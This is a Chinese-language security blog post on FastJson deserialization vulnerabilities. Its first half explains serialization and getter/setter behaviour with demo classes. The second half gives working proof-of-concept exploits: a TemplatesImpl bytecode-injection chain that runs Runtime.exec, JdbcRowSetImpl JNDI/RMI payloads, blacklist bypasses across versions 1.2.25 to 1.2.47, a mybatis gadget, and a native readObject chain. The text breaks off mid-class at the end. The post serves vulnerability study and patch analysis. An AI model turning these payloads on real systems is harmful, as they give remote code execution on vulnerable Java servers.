反序列化 on KePulsary

FastJson 反序列化

Tue, 25 Apr 2023 00:00:00 +0000

FastJson 反序列化

1. 什么是fastjson?

fastjson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。

2. fastjson的优点

速度快，使用广泛，测试完备，使用简单

String text = JSON.toJSONString(obj); //序列化
VO vo = JSON.parseObject("{...}", VO.class); //反序列化

3. 下载和使用

配置maven依赖

1
2
3
4
5


<dependency>
 <groupId>com.alibaba</groupId>
 <artifactId>fastjson</artifactId>
 <version>1.2.24</version>
</dependency>

序列化与反序列化

Main.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.util.Date;

/**
 * @author L1ao
 * @version 1.0
 */
public class Main {
 public static void main(String[] args) {
 Person person = new Person(15, "L1ao", new Date());
 String jsonOutput= JSON.toJSONString(person, SerializerFeature.WriteClassName);
 System.out.println(jsonOutput);
 String jsonInput = "{\"age\":15,\"dateOfBirth\":1682316963541,\"fullName\":\"L1ao\"}";
 String jsonInput2 = "{\"@type\":\"org.example.Person\",\"age\":15,\"dateOfBirth\":1682317227768,\"fullName\":\"L1ao\"}";
 Person newPerson = JSON.parseObject(jsonInput, Person.class);
 System.out.println(newPerson.getFullName());
 JSONObject newPerson2 = JSON.parseObject(jsonInput2);
 System.out.println(newPerson2.get("fullName"));
 }
}

Person.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


package org.example;

import java.util.Date;

/**
 * @author L1ao
 * @version 1.0
 */
public class Person {
 private int age;


 private String fullName;


 private Date dateOfBirth;

 public Person() { //注意反序列化时为对象时，必须要有默认无参的构造函数，否则会报异常
 }

 public Person(int age, String fullName, Date dateOfBirth) {
 super();
 this.age = age;
 this.fullName = fullName;
 this.dateOfBirth = dateOfBirth;
 }

 public int getAge() {
 return age;
 }

 public String getFullName() {
 return fullName;
 }

 public Date getDateOfBirth() {
 return dateOfBirth;
 }

 public void setAge(int age) {
 this.age = age;
 }

 public void setFullName(String fullName) {
 this.fullName = fullName;
 }

 public void setDateOfBirth(Date dateOfBirth) {
 this.dateOfBirth = dateOfBirth;
 }
}

分析序列化过程（参考知识星球中的来分析一下各种情况下getter和setter的效果）

User.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174


package org.example;

import java.util.Properties;

/**
 * @author L1ao
 * @version 1.0
 */
public class User {
 public String name1; //public且有get set
 public String name2; //public且有get
 public String name3; //public且有set
 public String name4; //仅仅public
 private String age1; //private且有get set
 private String age2; //private且有get
 private String age3; //private且有set
 private String age4; //仅仅private
 public Properties prop1_1; //public且有get set
 public Properties prop1_2; //public且有get
 public Properties prop1_3; //public且有set
 public Properties prop1_4; //仅仅public
 private Properties prop2_1; //private且有get set
 private Properties prop2_2; //private且有get
 private Properties prop2_3; //private且有set
 private Properties prop2_4; //仅仅private

 @Override
 public String toString() {
 return "User{" +
 "name1='" + name1 + '\'' +
 ", name2='" + name2 + '\'' +
 ", name3='" + name3 + '\'' +
 ", name4='" + name4 + '\'' +
 ", age1='" + age1 + '\'' +
 ", age2='" + age2 + '\'' +
 ", age3='" + age3 + '\'' +
 ", age4='" + age4 + '\'' +
 ", prop1_1=" + prop1_1 +
 ", prop1_2=" + prop1_2 +
 ", prop1_3=" + prop1_3 +
 ", prop1_4=" + prop1_4 +
 ", prop2_1=" + prop2_1 +
 ", prop2_2=" + prop2_2 +
 ", prop2_3=" + prop2_3 +
 ", prop2_4=" + prop2_4 +
 '}';
 }

 public String getName1() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return name1;
 }

 public void setName1(String name1) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.name1 = name1;
 }

 public String getName2() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return name2;
 }

 public void setName3(String name3) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.name3 = name3;
 }

 public String getAge1() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return age1;
 }

 public void setAge1(String age1) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.age1 = age1;
 }

 public String getAge2() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return age2;
 }

 public void setAge3(String age3) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.age3 = age3;
 }

 public Properties getProp1_1() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return prop1_1;
 }

 public void setProp1_1(Properties prop1_1) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.prop1_1 = prop1_1;
 }

 public Properties getProp1_2() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return prop1_2;
 }


 public void setProp1_3(Properties prop1_3) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.prop1_3 = prop1_3;
 }


 public Properties getProp2_1() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return prop2_1;
 }

 public void setProp2_1(Properties prop2_1) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.prop2_1 = prop2_1;
 }

 public Properties getProp2_2() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return prop2_2;
 }

 public void setProp2_3(Properties prop2_3) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.prop2_3 = prop2_3;
 }

 public User() {
 this.name1 = "L1ao1";
 this.name2 = "L1ao2";
 this.name3 = "L1ao3";
 this.name4 = "L1ao4";
 this.age1 = "a1";
 this.age2 = "a2";
 this.age3 = "a3";
 this.age4 = "a4";
 prop1_1 = new Properties();
 prop1_2 = new Properties();
 prop1_3 = new Properties();
 prop1_4 = new Properties();
 prop1_1.put("prop1_1", "1_1");
 prop1_2.put("prop1_2", "1_2");
 prop1_3.put("prop1_3", "1_3");
 prop1_4.put("prop1_4", "1_4");
 prop2_1 = new Properties();
 prop2_2 = new Properties();
 prop2_3 = new Properties();
 prop2_4 = new Properties();
 prop2_1.put("prop2_1", "2_1");
 prop2_2.put("prop2_2", "2_2");
 prop2_3.put("prop2_3", "2_3");
 prop2_4.put("prop2_4", "2_4");
 System.out.println("User init() is called");
 }
}

序列化

常用方法

1
2
3
4
5
6
7
8


 public static String toJSONString(Object object) {
 return toJSONString(object, emptyFilters);
 }

 public static String toJSONString(Object object, SerializerFeature... features) {
 return toJSONString(object, DEFAULT_GENERATE_FEATURE, features);
 }
......

非自省

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


public static void userSer(){
 User user = new User();
 System.out.println("=====================");
 String jsonOutput= JSON.toJSONString(user);
 System.out.println(jsonOutput);
 }
 输出
 User init() is called
 =====================
 getAge1() is called
 getAge2() is called
 getName1() is called
 getName2() is called
 getProp1_1() is called
 getProp1_2() is called
 getProp2_1() is called
 getProp2_2() is called
 {
 "age1": "a1",
 "age2": "a2",
 "name1": "L1ao1",
 "name2": "L1ao2",
 "name3": "L1ao3",
 "name4": "L1ao4",
 "prop1_1": {
 "prop1_1": "1_1"
 },
 "prop1_2": {
 "prop1_2": "1_2"
 },
 "prop1_3": {
 "prop1_3": "1_3"
 },
 "prop1_4": {
 "prop1_4": "1_4"
 },
 "prop2_1": {
 "prop2_1": "2_1"
 },
 "prop2_2": {
 "prop2_2": "2_2"
 }
 }
观察发现在系列化时会调用getters，public修饰的变量会被赋值，private修饰并没有get的变量不会被赋值

自省

JSON 标准是不⽀持⾃省的，也就是说根据 JSON ⽂本，不知道它包含的对象的类型。 FastJson ⽀持⾃省，在序列化时传⼊类型信息 SerializerFeature.WriteClassName ，可以得到能表明对象类型的 JSON ⽂本。 FastJson 的漏洞就是由于这个功能引起的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


 public static void userSer(){
 User user = new User();
 System.out.println("=====================");
 String jsonOutput= JSON.toJSONString(user,SerializerFeature.WriteClassName);
 System.out.println(jsonOutput);
 }
输出
 User init() is called
 =====================
 getAge1() is called
 getAge2() is called
 getName1() is called
 getName2() is called
 getProp1_1() is called
 getProp1_2() is called
 getProp2_1() is called
 getProp2_2() is called
 {
 "@type": "org.example.User",
 "age1": "a1",
 "age2": "a2",
 "name1": "L1ao1",
 "name2": "L1ao2",
 "name3": "L1ao3",
 "name4": "L1ao4",
 "prop1_1": {
 "@type": "java.util.Properties",
 "prop1_1": "1_1"
 },
 "prop1_2": {
 "@type": "java.util.Properties",
 "prop1_2": "1_2"
 },
 "prop1_3": {
 "@type": "java.util.Properties",
 "prop1_3": "1_3"
 },
 "prop1_4": {
 "@type": "java.util.Properties",
 "prop1_4": "1_4"
 },
 "prop2_1": {
 "@type": "java.util.Properties",
 "prop2_1": "2_1"
 },
 "prop2_2": {
 "@type": "java.util.Properties",
 "prop2_2": "2_2"
 }
 }
新增@type字段用于指明反序列化对象，其他不变

反序列化

非自省

常用方法

1
2
3
4


public static <T> T parseObject(String text, Class<T> clazz) {
 return parseObject(text, clazz);
}
......

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


 String jsonInput = "{\"age1\":\"a1\",\"age2\":\"a2\",\"name1\":\"L1ao1\",\"name2\":\"L1ao2\",\"name3\":\"L1ao3\",\"name4\":\"L1ao4\",\"prop1_1\":{\"prop1_1\":\"1_1\"},\"prop1_2\":{\"prop1_2\":\"1_2\"},\"prop1_3\":{\"prop1_3\":\"1_3\"},\"prop1_4\":{\"prop1_4\":\"1_4\"},\"prop2_1\":{\"prop2_1\":\"2_1\"},\"prop2_2\":{\"prop2_2\":\"2_2\"}}";
 User newUser = JSON.parseObject(jsonInput, User.class);
 System.out.println(newUser);
输出
 User init() is called
 setAge1() is called
 setName1() is called
 setName3() is called
 setProp1_1() is called
 setProp1_3() is called
 setProp2_1() is called
 getProp2_2() is called
 User{name1='L1ao1', name2='L1ao2', name3='L1ao3', name4='L1ao4', age1='a1', age2='null', age3='null', age4='null', prop1_1={prop1_1=1_1}, prop1_2={prop1_2=1_2}, prop1_3={prop1_3=1_3}, prop1_4={prop1_4=1_4}, prop2_1={prop2_1=2_1}, prop2_2=null, prop2_3=null, prop2_4=null}
public全部赋值，private有set的被赋值，其他为null，额外调用一次getProp2_2？？为什么

自省

JSON.parseObject 除了传⼊ Class clazz ⾮⾃省反序列化，也同样有⾃省反序列化

常用方法

1
2
3
4


public static JSONObject parseObject(String text) {
 Object obj = parse(text);
 return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


 String jsonInput = "{\"@type\":\"org.example.User\",\"age1\":\"a1\",\"age2\":\"a2\",\"name1\":\"L1ao1\",\"name2\":\"L1ao2\",\"name3\":\"L1ao3\",\"name4\":\"L1ao4\",\"prop1_1\":{\"@type\":\"java.util.Properties\",\"prop1_1\":\"1_1\"},\"prop1_2\":{\"@type\":\"java.util.Properties\",\"prop1_2\":\"1_2\"},\"prop1_3\":{\"@type\":\"java.util.Properties\",\"prop1_3\":\"1_3\"},\"prop1_4\":{\"@type\":\"java.util.Properties\",\"prop1_4\":\"1_4\"},\"prop2_1\":{\"@type\":\"java.util.Properties\",\"prop2_1\":\"2_1\"},\"prop2_2\":{\"@type\":\"java.util.Properties\",\"prop2_2\":\"2_2\"}}\n";
 Object newUser = JSON.parseObject(jsonInput);
 System.out.println(newUser);
输出
 User init() is called
 setAge1() is called
 setName1() is called
 setName3() is called
 setProp1_1() is called
 setProp1_3() is called
 setProp2_1() is called
 getProp2_2() is called
 getAge1() is called
 getAge2() is called
 getName1() is called
 getName2() is called
 getProp1_1() is called
 getProp1_2() is called
 getProp2_1() is called
 getProp2_2() is called
 {"prop1_3":{"prop1_3":"1_3"},"prop1_4":{"prop1_4":"1_4"},"name4":"L1ao4","prop1_1":{"prop1_1":"1_1"},"name3":"L1ao3","prop1_2":{"prop1_2":"1_2"},"prop2_1":{"prop2_1":"2_1"},"name2":"L1ao2","name1":"L1ao1","age1":"a1"}
调用了所有getter和setter，其中getProp2_2调用了两次，为什么？？

String jsonInput = "{\"@type\":\"org.example.User\",\"age1\":\"a1\",\"age2\":\"a2\",\"name1\":\"L1ao1\",\"name2\":\"L1ao2\",\"name3\":\"L1ao3\",\"name4\":\"L1ao4\",\"prop1_1\":{\"@type\":\"java.util.Properties\",\"prop1_1\":\"1_1\"},\"prop1_2\":{\"@type\":\"java.util.Properties\",\"prop1_2\":\"1_2\"},\"prop1_3\":{\"@type\":\"java.util.Properties\",\"prop1_3\":\"1_3\"},\"prop1_4\":{\"@type\":\"java.util.Properties\",\"prop1_4\":\"1_4\"},\"prop2_1\":{\"@type\":\"java.util.Properties\",\"prop2_1\":\"2_1\"},\"prop2_2\":{\"@type\":\"java.util.Properties\",\"prop2_2\":\"2_2\"}}\n";
Object newUser = JSON.parse(jsonInput);
输出
User init() is called
setAge1() is called
setName1() is called
setName3() is called
setProp1_1() is called
setProp1_3() is called
setProp2_1() is called
getProp2_2() is called
调用了所有setter，其中setAge3没有调用是因为传入的json中没有age3字段，至于为什么没有，是因为反序列化时没有get方法并且是private所以没有age3字段

结论

根据⼏种输出的结果，可以得到每种调⽤⽅式的特点：

parseObject(String text, Class clazz) ，构造⽅法 + setter + 满⾜条件额外的 getter

parseObject(String text) ，构造⽅法 + setter + getter + 满⾜条件额外的 getter

parse(String text) ，构造⽅法 + setter + 满⾜条件额外的 getter

这个额外条件是什么呢？不解

4. TemplatesImpl 反序列化利用链

利用条件：

开启了Feature.SupportNonPublicField
fastjson < 1.2.48 ?

先放个exp吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.lang.reflect.Field;
import java.util.Base64;

/**
 * @author L1ao
 * @version 1.0
 */
public class Poc {
 public static void setValue(Object obj, String name, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }

 public static void main(String[] args) throws Exception {
 ClassPool pool = ClassPool.getDefault();
 CtClass clazz = pool.makeClass("a");
 CtClass superClass = pool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
 constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
 clazz.addConstructor(constructor);
 byte[] bytes = clazz.toBytecode();
 String payload = "{" +
 "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
 "\"_bytecodes\": [\""+Base64.getEncoder().encodeToString(bytes)+"\"]," +
 "\"_name\":\"L1ao\"," +
 "\"_tfactory\":{ }," +
 "\"_outputProperties\": {}," +
 "\"_name\":\"a\"," +
 "\"_version\":\"1.0\"," +
 "\"allowedProtocols\":\"all\"" +
 "}";
 System.out.println(payload);
 JSON.parseObject(payload, Feature.SupportNonPublicField);
 }
}

反序列化会触发getter：getOutputProperties中defineTransletClasses来加载字节码，调用栈如下

defineTransletClasses:415, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:452, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:485, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:46, Poc (org.example)

5. JNDI && JdbcRowSetImpl利⽤链

不需要开启Feature.SupportNonPublicField
高版本jndi有限制
基于ldap的利⽤⽅式：适⽤jdk版本： JDK 11.0.1 、 8u191 、 7u201 、 6u211 之前。
基于rmi的利⽤⽅式：适⽤jdk版本： JDK 6u132 , JDK 7u122 , JDK 8u113 之前

6. 补丁分析

1.2.25

新增了 autoTypeSupport 反序列化选项，并通过 checkAutoType 函数对加载类进⾏⿊⽩名单过滤和判断。

maven改一下版本

1
2
3
4
5


<dependency>
 <groupId>com.alibaba</groupId>
 <artifactId>fastjson</artifactId>
 <version>1.2.25</version>
</dependency>

黑名单

0 = "bsh"
1 = "com.mchange"
2 = "com.sun."
3 = "java.lang.Thread"
4 = "java.net.Socket"
5 = "java.rmi"
6 = "javax.xml"
7 = "org.apache.bcel"
8 = "org.apache.commons.beanutils"
9 = "org.apache.commons.collections.Transformer"
10 = "org.apache.commons.collections.functors"
11 = "org.apache.commons.collections4.comparators"
12 = "org.apache.commons.fileupload"
13 = "org.apache.myfaces.context.servlet"
14 = "org.apache.tomcat"
15 = "org.apache.wicket.util"
16 = "org.codehaus.groovy.runtime"
17 = "org.hibernate"
19 = "org.mozilla.javascript"
18 = "org.jboss"
20 = "org.python.core"
21 = "org.springframework"

可见上面的JdbcRowSetImpl利⽤链使用的类 com.sun.rowset.JdbcRowSetImpl 被禁用了（”com.sun.”）

白名单默认为空

autoTypeSupport 为 true ，使⽤⿊名单验证，因此存在绕过⻛险。

绕过POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


package org.example;

/**
 * @author L1ao
 * @version 1.0
 */
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class Poc2 {
 public static void main(String[] args) {
 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤
 String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/k5xdee\",\"autoCommit\":true}";
 System.out.println(PoC);
 JSON.parse(PoC);
 }
}

即在类名前加L后加;

问题出现在

loadClass:1084, TypeUtils (com.alibaba.fastjson.util)
checkAutoType:861, ParserConfig (com.alibaba.fastjson.parser)
parseObject:322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:17, Poc2 (org.example)

这里如果类名为L并且;结尾则忽略开头和结尾，以新类名作为参数递归调⽤ loadClass 函数，最终加载 JdbcRowSetImpl 并返回，实现绕过。

如果类名以[开头，则忽略开头，但是是返回array

1.2.42

对之前版本进行修复，对黑名单使用类hash

1

this.denyHashCodes = new long[]{-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L};

网上有对应的：https://github.com/LeadroyaL/fastjson-blacklist

修改依赖

1
2
3
4
5


<dependency>
 <groupId>com.alibaba</groupId>
 <artifactId>fastjson</artifactId>
 <version>1.2.41</version>
</dependency>

就进行一次substring，双写绕过

Poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


package org.example;

/**
 * @author L1ao
 * @version 1.0
 */
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class Poc2 {
 public static void main(String[] args) {
 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤
 String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/k5xdee\",\"autoCommit\":true}";
 System.out.println(PoC);
 JSON.parse(PoC);
 }
}

1.2.43

修复了二次绕过，多次重复不再生效

还记得之前那个[ 吗，这次绕过就是用的这个

依旧修改maven不贴了

给出Poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


package org.example;

/**
 * @author L1ao
 * @version 1.0
 */
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class Poc2 {
 public static void main(String[] args) {
 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤
 String PoC ="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://localhost:1099/nt91oz\",\"autoCommit\":true}" ;
 System.out.println(PoC);
 JSON.parse(PoC);
 }
}

1.2.44-1.2.45

修复了恶意类名前添加 [ 的引发安全问题

第三方库的链子

1
2
3
4
5


<dependency>
 <groupId>org.mybatis</groupId>
 <artifactId>mybatis</artifactId>
 <version>3.5.3</version>
</dependency>

给出Poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


package org.example;

/**
 * @author L1ao
 * @version 1.0
 */
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class Poc2 {
 public static void main(String[] args) {
 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤
 String PoC = " {\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/nt91oz\"}}";
 System.out.println(PoC);
 JSON.parse(PoC);
 }
}

1.2.46-1.2.47

修复了上面的第三方链子

新的 java.lang.Class 利⽤链，利⽤缓存 mappings 从⽽绕过了⿊⽩名单的限制加载 com.sun.rowset.JdbcRowSetImpl 类。不受 autoTypeSupport 选项的影响，威⼒更⼤，范围更⼴。

给出Poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


package org.example;

/**
 * @author L1ao
 * @version 1.0
 */
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class Poc2 {
 public static void main(String[] args) {
 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤
 String payload = "{\n" +
 " \"name\":{\n" +
 " \"@type\":\"java.lang.Class\",\n" +
 " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
 " },\n" +
 " \"x\":{\n" +
 " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
 " \"dataSourceName\":\"rmi://localhost:1099/nt91oz\",\n" +
 " \"autoCommit\":true\n" +
 " }\n" +
 "}";
 System.out.println(payload);
 JSON.parse(payload);
 }
}

利用java.lang.Class将com.sun.rowset.JdbcRowSetImpl注入到缓存中，然后反序列化com.sun.rowset.JdbcRowSetImpl时在缓存中绕过检测

7. 原生类反序列化

https://paper.seebug.org/2055/

ois.readObject()

fastjson的一条链

Poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }

 public static void main(String[] args) throws Exception{
 ClassPool pool = ClassPool.getDefault();
 CtClass clazz = pool.makeClass("a");
 CtClass superClass = pool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
 constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
 clazz.addConstructor(constructor);
 byte[][] bytes = new byte[][]{clazz.toBytecode()};
 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setValue(templates, "_bytecodes", bytes);
 setValue(templates, "_name", "y4tacker");
 setValue(templates, "_tfactory", null);


 JSONArray jsonArray = new JSONArray();
 jsonArray.add(templates);

 BadAttributeValueExpException val = new BadAttributeValueExpException(null);
 Field valfield = val.getClass().getDeclaredField("val");
 valfield.setAccessible(true);
 valfield.set(val, jsonArray);
 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
 objectOutputStream.writeObject(val);

 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
 Object o = (Object)ois.readObject();
 }
}

通杀链来自@1ue师傅，引用绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;

import com.ctf.ezser.utils.MyObjectInputStream;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test3 {
 public static void setValue(Object obj, String name, Object value) throws Exception{
